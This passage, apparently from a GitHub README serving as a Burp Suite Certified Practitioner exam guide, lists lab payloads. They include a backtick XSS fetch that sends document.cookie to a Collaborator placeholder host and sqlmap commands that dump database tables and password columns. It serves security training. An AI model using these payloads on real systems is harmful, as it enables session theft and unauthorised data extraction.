Backtick fetch (paren-free exfil) and backtick-only alert (sanity test):

"-fetch`//YOUR-COLLAB.oastify.com?c=${document.cookie}`-"
"-alert`1`-"

sqlmap commands

# Basic
sqlmap -u '<URL>' -p <param> --batch --level 5

# Walk the schema
sqlmap -u '<URL>' -p <param> --batch --level 5 --dbs
sqlmap -u '<URL>' -p <param> --batch --level 5 -D <DB> --tables
sqlmap -u '<URL>' -p <param> --batch --level 5 -D <DB> -T <TABLE> --columns
sqlmap -u '<URL>' -p <param> --batch --level 5 -D <DB> -T <TABLE> -C <COL> --dump

# Injection point in a cookie
sqlmap -u '<URL>' --cookie="TrackingId=<value>" -p TrackingId --batch --level 5

# One-shot when you already know engine/schema/table/column
sqlmap -u 'URL' -p <param> --batch --dbms=postgresql --level=5 -D public -T users -C password --dump

# Feed a saved Burp request (custom headers, multipart, HTTP/2) — mark the point with *
sqlmap -r request.txt -p <param> --batch --level=5 --risk=3

Resources and credits

This guide synthesises the PortSwigger Web Security Academy material with the following community study resources — all worth reading in full:

About

A Burp Suite Certified Practitioner (BSCP) exam field guide with triage, lab payloads, and exam tips.

Topics

Resources

Stars

0 stars

Watchers

0 watching

Forks

Releases

Packages

Contributors